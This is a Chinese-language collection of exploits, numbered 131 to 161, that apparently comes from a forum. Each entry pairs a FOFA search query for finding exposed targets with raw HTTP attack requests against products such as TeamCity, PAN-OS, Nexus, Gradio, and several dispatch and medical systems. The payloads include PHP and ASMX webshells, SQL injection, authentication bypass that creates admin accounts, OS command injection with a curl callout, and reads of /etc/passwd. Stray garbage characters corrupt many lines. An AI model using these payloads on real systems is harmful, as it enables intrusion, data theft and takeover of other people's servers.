; N1 [/ o6 Z7 sContent-Type: image/png
& A& m. m( i: N7 W' J9 X
* ~$ Y* S" E) e* }<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--
! h- h' Z1 w5 z! e9 ]* F

131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
8 M5 z; \3 a" T3 B* D2 S" @  ]' |  t后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
; o: U3 r( X, _# m( J; Q" hFOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
' t; J1 w1 z  e4 ^Host: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
; u. k* a7 U' |# Q7 b4 nAccept: */*
Content-Type: application/json
2 P$ }2 H* [4 K* {* r+ a  uAccept-Encoding: gzip, deflate
( [+ q" u/ h0 t! z& _( ]3 r. c
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}


CVE-2024-27199
* o, G( T% _2 Y# E/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
. U: g- Q* U+ d3 I3 ^' z1 M+ S% @/update/../admin/diagnostic.jsp


& _8 p  J* C* v1 MCVE-2024-27198-RCE.py

133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
9 A) K# x0 b! Y3 g( @/ rPOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
* ]; S7 E) @6 i/ Y3 h3 OContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
9 U$ b6 n$ f' G/ SContent-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream
! g7 X3 `( h0 z# b  t8 |8 a
<?php system("cat /etc/passwd");unlink(__FILE__);?>
7 t. h( X  ~- z* \2 V------WebKitFormBoundaryFQqYtrIWb8iBxUCx--


; V2 }) A) u, F! g3 {( }9 m
) V; U6 \( K' X1 ?1 A5 t1 r134. 网康NS-ASG应用安全网关index.php sql注入
: V$ P1 c' @  C' CCVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
$ M! e9 ~9 T) b. A# yFOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
; c9 `* o/ {! t/ j) oHost: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
' `2 S0 p1 `8 U1 U5 F( L' @1 ZAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
+ t6 V' n( Y1 W9 N0 E2 XTe: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263

jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}


135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
# D8 D& f" L) X" |+ l' x: e; c: DCVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
  e" n' A7 S( w( n  U8 M' G( TFOFA：app="网康科技-NS-ASG安全网关"
( s4 V% s2 D2 Q2 IGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
1 H$ R. A# h; Z2 PHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 g- \/ q5 |! A. D5 |  o( SAccept-Encoding: gzip, deflate
& L( @/ K4 m) i1 o) ]: {- P- eAccept-Language: zh-CN,zh;q=0.9
4 y! j2 l, l! O+ P5 L/ BConnection: close
) h. F/ F7 y" z+ j$ f
# v7 R1 h0 ?9 `$ f+ q5 t& Z3 F- ]
. I9 a6 K- U7 l' S136. NextChat cors SSRF
CVE-2023-49785
FOFA：title="NextChat"
5 m% w2 b5 z* c; M7 k% B- ~GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
) [) q, m1 \7 Z0 B- DUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
- J; @: l5 m2 u, _; tConnection: close
% R2 h/ Z& c( ]Accept: */*
% c# U) _* K$ G- @7 W6 k! W( |) w8 nAccept-Language: en
" U$ p3 ?4 g/ z4 j( T5 _( pAccept-Encoding: gzip


137. 福建科立迅通信指挥调度平台down_file.php sql注入
8 u6 }1 l& c" z4 `" {1 |9 PCVE-2024-2620
1 X9 t+ h8 _* M% _7 I5 VFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
4 B  G9 D+ G' GHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
$ e/ D" z/ @1 f( cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
( Q; ~3 U3 s/ f- `; dConnection: close
; k, s; H* ~  p2 p9 Y* ZCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1


138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
, l% }$ `3 W5 c( cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
2 {% o( b, `3 N  n4 s+ j! E

139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
8 M- Y3 r4 F+ N* c) ^GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
4 K4 h; K9 o2 }: y: G0 b& J& i) QHost: x.x.x.x
2 n- J$ _: z2 v' V* vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% o; \9 r, b, a, v& @; _6 M. ^% q! NAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
$ O3 ?, q, m% Z" A( z/ A5 X8 UUpgrade-Insecure-Requests: 1
! q4 X/ G# u, \& U3 I9 M4 q( Y
: ^4 d" c" c% k0 l9 e# d
( R/ J1 V5 @9 p8 D140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
: o, {5 ^; h; ]* H/ ~  V) Z% v5 u' A  KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 {3 B, J7 ?. g* h. q0 VAccept-Encoding: gzip, deflate, br
" x, l+ q3 D7 K; N* S6 X9 G0 X5 rConnection: close
Cookie: authcode=h8g9
Upgrade-Insecure-Requests: 1


# o$ O* B* A% w; |+ `4 v* S141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
: D0 M& }5 X3 P" w$ X  O7 WPOST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
' H8 p- [: n1 T7 g+ XContent-Type: application/x-www-form-urlencoded

; _" \. z: {( P5 r. E% v
0 r5 u5 \5 k1 S9 qdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -

; V' L3 N! }* _5 e
142. CMSV6车辆监控平台系统中存在弱密码
5 p0 M1 f* M2 I4 ^9 }( d6 rCVE-2024-29666
FOFA：body="/808gps/"
admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
4 J( G- K( `+ j$ B* uCVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD
: ^  A$ a5 V8 v+ ?% a! G8 S
' V9 M) v/ b, M: d& X144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
) r, a- M$ F& g' o9 _system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
. ]( f1 [& ?* s9 u" G. z+ WHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
0 q3 A5 G2 G3 y( S3 rConnection: close
* o: a# W& S3 C" [1 ~Accept: */*
Accept-Language: en
Accept-Encoding: gzip

3 x; M- y7 \# E. p& p
: D; o" }/ S8 x7 `145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
  _+ U, ~) \% hFOFA：icon_hash="-631559155"
5 N0 t) A! x# [1 @( l4 y0 m& l- c$ lGET /global-protect/login.esp HTTP/1.1
( t" C' y, e( D. q0 q7 y4 j0 dHost: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
8 o% B0 i8 N' H5 g( ^# `* S* zConnection: close
; I7 W1 V0 _4 L, C2 s2 FCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip
0 c/ o; S& C7 @$ ]- R: l

' t- ?3 l& F, u5 y146. MajorDoMo thumb.php 未授权远程代码执行
' N) ^( d0 ]  H7 ]& ]" J9 T+ QCNVD-2024-02175
FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
5 w3 j% Z( A+ I( p( |Accept-Charset: utf-8
2 O4 @- G9 R$ q3 t# t, dAccept-Encoding: gzip, deflate
Connection: close


1 A( I) i( U8 g, T5 z7 C/ m147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
: h3 E/ r2 J( I# T! O( nCVE-2024-32399
FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
Cache-Control: max-age=0
1 z, p. r& ]* z9 `- f2 k( ~" J. P1 nConnection: close
/ c0 P8 }5 @, R5 B: I( n

+ Y+ C# V1 e0 T" t/ D5 K. t5 u148. CrushFTP 认证绕过模板注入
CVE-2024-4040
FOFA：body="CrushFTP"
" ?$ c1 t2 U2 E7 F) y1 Y6 w6 g- MPAYLOAD
- I8 I' v+ C# }4 l1 k
' i( k2 h. Q8 f/ R0 D/ N, j3 a149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
5 {/ T0 y, O* V: i* DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 `' f  I. z/ B5 G" XAccept-Encoding: gzip, deflate, br
( b) ?; e" g" s( k6 [3 nAccept-Language: zh-CN,zh;q=0.9
5 o4 E7 W% r: |( W5 Z. n4 @9 J9 |6 DContent-Type: application/json;charset=UTF-8
Connection: close
; [6 p9 f; r' k5 I# Y- F
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
- h0 n: I; W1 N4 l7 ~) m0 `9 m" b
150. AJ-Report 1.4.0 认证绕过与远程代码执行
4 a! L# `9 R  F. n' [+ BFOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
) f( s2 r5 b1 ~2 e! |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
- l! a; A0 U. H7 }% L* @! {' xContent-Length: 339
( u5 D' {* _; j5 S# e
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}


9 V$ y! E. q5 Y151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
$ P0 D3 X: U5 n9 u1 UUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
! ^! z; A6 l" T3 J3 i, F! b8 J  WAccept-Encoding: gzip


152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
6 Y4 E& W  e2 `8 F; {+ X8 BLoadMaster <= 7.2.59.2 (GA)
2 D1 O# S) n/ i( qLoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
1 S! y+ ]! i$ m0 `# NUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
Accept: */*
+ d* r, J+ e* c1 vAccept-Language: en
8 a4 F- _7 k0 p: }& S1 N) SAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
  v0 B) O2 W3 I) @+ v7 sAccept-Encoding: gzip
* S  z$ }% M, X  C

$ G$ f2 x7 ?( }) k153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
! b+ k# I. H$ _$ c2 t; ahttp://x.x.x.x/config

8 {: r! F! j( h
第二步，将/etc/passwd的内容写入到一个临时文件
) g1 o9 w2 U' TPOST /component_server HTTP/1.1
Host: x.x.x.x
% s6 M1 x& g% R  _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
Content-Length: 115
Content-Type: application/json
Accept-Encoding: gzip

{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}

5 v4 ~" f$ V0 i& j# ^
6 O# G7 {) n8 Q2 c第三步访问
5 k8 ~/ \# l7 N+ a; i. }) ^6 a3 ]http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd

" t8 t6 R2 }1 |9 v
154. 天维尔消防救援作战调度平台 SQL注入
7 I; Q2 I* K- d$ _: pCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
8 Q# |! ]+ ^8 c( u$ Q' tPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
5 S: r! S) `: |& w5 _" THost: x.x.x.x
Content-Length: 106
Cache-Control: max-age=0
+ A" H& @/ q* i- P8 k9 yUpgrade-Insecure-Requests: 1
+ H3 H6 u% s' j' E, }. v" W$ C5 C* HOrigin: http://x.x.x.x
/ `2 o, U: ^5 mContent-Type: application/json
/ |$ a9 B! X! ~$ b% S$ c3 A2 G  H, qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
  t1 v2 z1 [3 n: P' y9 oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 d9 N9 ]. {& A; zReferer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
+ H' P: t" J& \. @7 Q, hAccept-Encoding: gzip, deflate
5 s7 J7 X' o( jAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
. D* U( c  t+ R; Z$ D# m0 z# QConnection: close
. Q2 P3 {1 M2 J- Q
- T2 d) n. A+ ?( V{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}


155. 六零导航页 file.php 任意文件上传
  Z! Q& [: E$ F+ U4 TCVE-2024-34982
  @) t6 D( z2 u. e$ dFOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
% b% W/ L2 t% x9 pContent-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
, I! d; x0 k! @. [+ cAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
. C3 C! {) y8 oX-Requested-With: XMLHttpRequest

-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--
( J; _$ l% j. |. H) R" Q
- j9 u1 j+ W, D" c
4 b7 l. \) Y+ D6 Z访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
! }' N$ S* V8 D  [
2 ?0 M" @* S: P5 K156. TBK DVR-4104/DVR-4216 操作系统命令注入
" M( b, F9 H3 }9 w) r4 x, g8 `CVE-2024-3721
FOFA："Location: /login.rsp"
·TBK DVR-4104
·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"

4 E$ M$ f! S6 M! M2 {
POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
, h0 t" c8 e6 r$ \# [  c2 |/ Z( THost: x.x.x.x
: _' d& n& h3 h/ Z. EUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 0
Cookie: uid=1
$ O6 j2 W# ~5 Y8 ^- YAccept-Encoding: gzip


6 X) e1 D0 S* l% o: f: w0 ^& E157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
9 x0 ?' Y" {6 Q* `7 ?FOFA：body="/common/scripts/basic.js"
. _  I9 F. G5 E# F4 h9 L1 @POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
% W1 o+ S# ?' m5 r. T+ E/ d/ e0 YHost: x.x.x.x
) W. o! H: o+ f0 U* ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
7 _. n$ d5 l) f' A: BContent-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
) B# w! a* B, q: F) }Cache-Control: max-age=0
8 v3 b) V0 v" n8 H5 [. sConnection: close
0 N7 Q9 h( s0 G! e2 K+ x: ZContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1

2 h# ^8 h1 d- @, F------WebKitFormBoundary1imovELzPsfzp5dN
# z* l% }+ j- N: p3 LContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
" i* w, `8 I' Y. G, J------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"
7 J& F  @3 @3 f' ]
+ \* H# n# f1 V1 w/ q: Q/ Y8 Nnull
' S+ @) b1 E% H4 X4 D' H3 b( Q------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"
2 Q  V3 R# B& f0 l, E; S5 K
null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"

# U5 y& o3 D2 dnull
4 N* U% U: j2 P, o' T------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"

6 _- l) g# n4 f3 Jnull
------WebKitFormBoundary1imovELzPsfzp5dN
" e9 K; z* \5 |1 p0 ZContent-Disposition: form-data; name="filefolder"

null
: i1 P8 ^2 y: u- ^------WebKitFormBoundary1imovELzPsfzp5dN--


" C# B* X% E. `2 P7 Zhttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

; `/ T. S3 O- Q3 p158. Mura-CMS-processAsyncObject存在SQL注入
, d9 b9 P& w' n6 c: @' j3 `! dCVE-2024-32640
FOFA："Generator: Masa CMS"
* j! v: P2 P  m0 M- x$ dPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
5 I; D7 V3 {' v. d# FContent-Type: application/x-www-form-urlencoded

object=displayregion&contenthistid=x\'&previewid=1
( [% \% i( V# W4 ^- [$ g+ W8 H
- S- k1 T) T4 ]
* p& @0 a. T# G159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
4 ~* }0 r. ^1 ?9 U: {0 ^# @2 h/ rHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
$ a5 S4 [. N* y5 S1 k+ ZContent-Length: 1080
: C; s2 _# M6 L- H+ m7 VAccept-Encoding: gzip, deflate
Connection: close
$ n' \* C) w: [' }7 cContent-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
* x' Z$ c5 x9 V2 s+ `" j. k: V
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
3 ^$ Z$ k1 T" _' H' S( A* p<soap:Body>
<jobUpload xmlns="http://rainier">
+ y; [7 W7 y, b! l/ N1 Z<vcode>1</vcode>
2 T1 Q1 C, z, e$ ?2 V( P! X<subFolder></subFolder>
& ]# N: d4 I( X7 @7 ~' _/ Y<fileName>abcrce.asmx</fileName>
4 h1 ^5 }$ [  |2 @<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
</soap:Body>
</soap:Envelope>


/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
. x. q/ g& |4 a; k, X- B/ _

160. Sonatype Nexus Repository 3目录遍历与文件读取
9 m9 {( i$ x+ J; i8 s% KCVE-2024-4956
FOFA：title="Nexus Repository Manager"
; J( C) f5 ]* c& M9 ~; u' [9 ]1 QGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
0 j% G# E# P$ r* BHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
4 C& D: c/ ^: WConnection: close
; a! z5 Z8 D9 m  i4 n8 z2 i, CAccept: */*
Accept-Language: en
Accept-Encoding: gzip
  j5 ~$ ~- J% P" _
* N/ i' i# a% v) B* u1 u: ]
" Q# K' f, B# ]* Y, Q7 X5 i161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
- C# a. f- `2 ]# u! a; zFOFA：body="/KT_Css/qd_defaul.css"
* q- p6 i- I# {% V' l, i& g第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
, k7 a( m) q/ f# OHost: x.x.x.x
